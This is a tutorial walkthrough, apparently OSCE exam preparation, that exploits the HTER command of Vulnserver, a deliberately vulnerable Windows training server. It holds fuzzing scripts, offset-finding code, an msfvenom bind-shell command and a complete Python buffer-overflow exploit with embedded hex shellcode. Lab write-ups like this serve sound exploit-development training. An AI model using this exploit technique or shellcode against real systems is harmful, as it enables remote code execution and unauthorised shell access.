> For the complete documentation index, see [llms.txt](https://zflemingg1.gitbook.io/undergrad-tutorials/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zflemingg1.gitbook.io/undergrad-tutorials/walkthroughs-osce/vulnserver-hter-command.md).

# Vulnserver - HTER Command

As part of my preparation for the taking the CTP course and OSCE exam I used the vulnserver.exe to practice and develop my skills.

## 1. Intro&#x20;

*Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.*

![Figure 1](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-Ew7_tFaHPdjSCPUVb%2F-M-EwFlhU19RQaPbYglR%2Fimage.png?alt=media\&token=1ee8db0a-742b-4cef-8bb0-d6042f16d5ac)

You can get a copy of the application here <https://github.com/zflemingg1/OSCE/tree/master/Vulnserver>

## 2. The Setup

```
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer
```

### 2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

![Figure 2](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-EwqUZgjJ8rPq6FIqD%2F-M-ExGAp4WPlGQxCzJsx%2Fimage.png?alt=media\&token=80b8d126-f1b2-4aa0-b184-5e7d12053d09)

## 3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the HTER command. Observing that the valid argument structure for the HTER command is roughly `<HTER>[space]<command_value>` we can try sending `HTER hello` as a test and see if it’s accepted.

![Figure 3](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dgHCgx6tSrO_4RpRR%2F-M-dge7AQu-0hcV2Ck1m%2Fimage.png?alt=media\&token=ab615be6-73b8-47ac-92fd-cdf67c7d543f)

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the `HTER` command.

The following BOOFUZZ template was created to fuzz the HTER command in an effort to get the program to crash.&#x20;

```python
from boofuzz import *

host = '192.168.109.129'
port = 9999


	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("HTER")
s_string("HTER", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("HTER"))
session.fuzz()

```

### 3.1 Crash

The following command appears to have crashed the program indicating that the "HTER" command can be manipulated to force the program to crash. &#x20;

![Figure 4](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dl2UR0QYBEcmmPSr6%2F-M-dl513ph1Xjn05zRJe%2Fimage.png?alt=media\&token=6b29564d-de2b-4808-854d-059b4efd7b55)

![Figure 5](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dl79sXAmO1Nb67Ky_%2F-M-dlDkRnWQ7y9kB5tag%2Fimage.png?alt=media\&token=1c181fde-3de5-4ae8-949a-5505a7bb0c82)

### 3.2 Analysing The Crash

Based on the TCP stream (Figure 4), the number of bytes that was sent by the fuzzer and that caused the crash was **around 2050 bytes**.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the HTER command and cause the crash:

```python
import socket
from time import sleep

count = 5000
 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 9999
	
	payload = "HTER "
	payload += "A" * count
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.settimeout(4.0)
		s.recv(1024)
	
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()

	s.send(payload)
	s.close()	

	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	count = count - 50
	sleep(3)

```

![Figure 6](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dnUTSaEe9w6oQ5ky1%2F-M-dn_nI88srFmn-grFw%2Fimage.png?alt=media\&token=54da3656-a077-4ede-8d80-88f435250e2c)

![Figure 7](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dnUTSaEe9w6oQ5ky1%2F-M-dnjhtWTn5EvA0M8Hk%2Fimage.png?alt=media\&token=d647aee9-defc-4039-a1ab-93a151a9afb3)

As can be seen from figure 6 the program crashes when a string of 4950 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 4080 bytes - Figure 7.  However, **EIP** was overwritten with `AAAAAAAA` instead of `41414141`. From this we can observe that the buffer was somehow being converted into hex bytes as opposed to ASCII.

## 4. Determine Offset

&#x20;Due to the hex conversion, we are unable to use some of the traditional methods such as using `msf-pattern_create` to generate unique strings. To circumvent this, we can use the **“Binary Tree Analysis”** method to determine the offset. Instead of sending 3000 A’s, we can break it up into smaller sections such as 1500 A’s and 1500 B’s.

### 4.1 Binary Tree Analysis

Restart the application and run the updates exploit shown below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 1500 # Crashes at 4950
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 8](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dpqb_-ePtc7vze8b7%2F-M-dq33jUxnMtbChN3sl%2Fimage.png?alt=media\&token=d9db903a-d9a8-4f3f-8de4-62a09509bbee)

From Figure 8 we can see that EIP is overwritten in our B section. Lets repeat this step again and modify our A and B lengths.

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2000 # Crashes at 4950
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 9](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dqNYCu9g-RhnGChAe%2F-M-dqTSSGs6QH_NXBJo_%2Fimage.png?alt=media\&token=8fc208f3-b4ff-4643-8269-389cac45b990)

From Figure 9 we can see that EIP is overwritten in our B section. Again we repeat this process of modifying our A and B lengths until we find a the correct offset that allows us to take control of EIP. After some trial and error the offset was found to be at 2045 bytes as shown below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "C" * 8    # Control EIP
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 10 ](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-drN9Vj1jDwWcvh_sO%2F-M-drR1KB2zaxhP7KKZo%2Fimage.png?alt=media\&token=412e355c-8f33-42af-bec6-b68ac8945ef2)

## 5. Redirecting Execution Flow

Our next step is to find an address that contains a `JMP ESP` instruction.

**NOTE:** It’s always recommended to use an address from the application itself, or a DLL that comes with the application for compatibility purposes. I.E. the exploit will work even if the application was installed on a different machine. For Vulnserver.exe we can look at the DLL that comes with it (essfunc.dll).

Restart the application in Immunity and execute the following command `!mona jmp -r esp -m "essfunc.dll"`.&#x20;

![Figure 11](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-Q7H8HNC6MgsfFjxPA%2F-M-QAEvTAy6Z352kxN-w%2Fimage.png?alt=media\&token=647a6d08-4a16-4232-856c-2a5e7aaea2ba)

Take note of the address highlighted in the above picture (0x625011AF)

### 5.1 Taking Control of EIP

Restart the application in Immunity, set a breakpoint at address `0x625011AF` and execute the updated POC below

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "AF115062" # Redirect EIP
payload += "41" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 12](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dseR6koi-wRKS6KuQ%2F-M-dt4aYI5Ou1e7AeCL7%2Fimage.png?alt=media\&token=4e91e3d2-de9e-4503-9cb3-79a322a6c4df)

Step through the breakpoint using F8 and you will land in our buffer - Figure 13.

![Figure 13](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dtFKn4NtHM-aOAuPA%2F-M-dtJMxMH05fIovLLIx%2Fimage.png?alt=media\&token=a08fc9f8-6786-4055-b242-587a8e0b27a9)

## 6. Generating Shellcode

&#x20;Using all the information that we've gathered we can now generate the payload as shown below:

`msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f hex -v shellcode`

![Figure 14](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dtX5d8_VjrUzwsAjz%2F-M-dtfd4qg9ZTHEho7lP%2Fimage.png?alt=media\&token=3ac52782-5d5d-4976-9e0b-70c359f84b75)

### 6.1 Getting Shell

Restart the application and execute the updated POC shown below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "AF115062" # Redirect EIP
payload += "90" * 80 # nop sled
payload += "dacbb81dd7accad97424f45b31c9b15331431703431783f62b4e3ff43c0dc004bd7248e18cb22e62be02242633e868d2c09ca4d5612a93d87207e77bf15a345bc894499a0dc8a0cec68617fe63d2ab753ff2ab6a88f59a3d82af3cbc47c474a684e1cf5d7e9dd1b74e5e7df67ead7f3fb84e0a49baf30d8ec02f9b1462bb3bf09268dd7398c5a9dbbdd87e50b95181b64b21a61217f1c703fd54f7535e085d18735dec431c92dd7bdcbc5608ee63cd8642ebcb51a4c6accd5be9ccc49fbd9c7e09be767eb66be27611c4117be1b495d38ade190caae0f325431dfc58c8a81a30e0fcb5acc2da0d4b3c0926fb755bf104864955920d9e6183118bc1d4864180973755894fdbc4568f92f4c0d8f3cb188ce972b3b2f3e3fc7628d00377bd6c20677b6c6cd3d33b3a8d95958c674c4947ef09a1586916ec2e95a75977aa080e7fd374ae800e3dce629a48673b4ff1eabcba36133f4ec7e05f3bc2ade7d0bebe8dd66dbe87"
payload += "41" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

**NOTE:**  A **nopsled** (80 NOP instructions) were added before the shellcode to give room for the decoder to work

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

![Figure 15](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-dthUBqLdwDCBPIWEv%2F-M-dvHsTtUfo49lmtX33%2Fimage.png?alt=media\&token=16da7bc3-462c-422f-854d-7ac4b2a77f5d)
